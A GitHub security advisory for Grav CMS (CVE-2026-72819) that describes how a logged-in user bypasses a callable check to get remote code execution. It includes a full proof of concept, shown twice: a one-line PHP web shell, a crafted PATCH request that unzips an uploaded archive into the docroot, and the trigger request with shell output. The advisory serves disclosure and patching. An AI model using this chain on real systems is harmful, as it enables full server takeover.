GHSA-R94F-HX44-8JQF
Vulnerability from github – Published: 2026-09-17 20:45 – Updated: 2026-09-17 20:45Summary
A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.
Details
The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.
The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.
Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.
PoC
-
Log in at
http://TARGET/login(or/admin). The session cookie is the only credential needed below. -
Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at
/user/media/evil.zip.
Zip the shell.php file with the php code mentioned below:
shell.php: <?php system($_GET['c']); ?>
zip evil.zip shell.php
- Send the request (attach your Cookie and X-API-Token):
``` PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json
{ "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\Common\Flex\Types\Generic\GenericObject", "collection": "Grav\Common\Flex\Types\Generic\GenericCollection", "index": "Grav\Common\Flex\Types\Generic\GenericIndex", "storage": { "class": "Grav\Framework\Flex\Storage\SimpleStorage", "options": { "formatter": {"class": "Grav\Framework\File\Formatter\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\Common\GPM\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } } ```
- Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):
``` POST /api/v1/flex-objects/flex-objects Content-Type: application/json
{"name": "x"} -> 201 ```
- Open the file that was written:
http://TARGET/shell.php?c=id
-> PWNED:uid=1000(kali) gid=1000(kali) ...
Impact
Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-72819"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:45:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav\u0027s built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site\u0027s public folder, which the server then runs.\n\n### Details\n\nThe check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers \"safe\". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.\n\nThe one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with `../`, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.\n\nEverything is set up over the web. Saving a plugin\u0027s settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.\n\n### PoC\n\n1. Log in at `http://TARGET/login` (or `/admin`). The session cookie is the only credential needed below.\n\n2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at `/user/media/evil.zip`.\n\n Zip the shell.php file with the php code mentioned below:\n ```\n shell.php: \u003c?php system($_GET[\u0027c\u0027]); ?\u003e\n zip evil.zip shell.php\n ```\n\n3. Send the request (attach your Cookie and X-API-Token):\n\n ```\n PATCH /api/v1/config/plugins/flex-objects\n Content-Type: application/json\n\n {\n \"directories\": [\"user/config/plugins/flex-objects.yaml\"],\n \"title\": \"Pwn\",\n \"type\": \"flex-objects\",\n \"config\": { \"data\": {\n \"object\": \"Grav\\\\Common\\\\Flex\\\\Types\\\\Generic\\\\GenericObject\",\n \"collection\": \"Grav\\\\Common\\\\Flex\\\\Types\\\\Generic\\\\GenericCollection\",\n \"index\": \"Grav\\\\Common\\\\Flex\\\\Types\\\\Generic\\\\GenericIndex\",\n \"storage\": { \"class\": \"Grav\\\\Framework\\\\Flex\\\\Storage\\\\SimpleStorage\",\n \"options\": { \"formatter\": {\"class\": \"Grav\\\\Framework\\\\File\\\\Formatter\\\\JsonFormatter\"},\n \"folder\": \"user-data://flex-objects/pwn.json\" } } } },\n \"form\": { \"validation\": \"loose\", \"fields\": {\n \"name\": {\"type\": \"text\", \"label\": \"Name\"},\n \"pwn\": {\"type\": \"text\", \"label\": \"pwn\",\n \"data-default@\": [[\"Grav\\\\Common\\\\GPM\\\\Installer\", \"unZip\"],\n \"user/media/evil.zip\",\n \"/absolute/path/to/grav-docroot\"]} } }\n }\n ```\n\n4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):\n\n ```\n POST /api/v1/flex-objects/flex-objects\n Content-Type: application/json\n\n {\"name\": \"x\"}\n -\u003e 201\n ```\n\n5. Open the file that was written:\n\n ```\n http://TARGET/shell.php?c=id\n -\u003e PWNED:uid=1000(kali) gid=1000(kali) ...\n ```\n\n### Impact\n\nRemote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server\u0027s account.",
"id": "GHSA-r94f-hx44-8jqf",
"modified": "2026-09-17T20:45:57Z",
"published": "2026-09-17T20:45:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-r94f-hx44-8jqf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72819"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-cms-before-remote-code-execution-via-zip-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav CMS vulnerable to remote code execution via .zip file upload"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.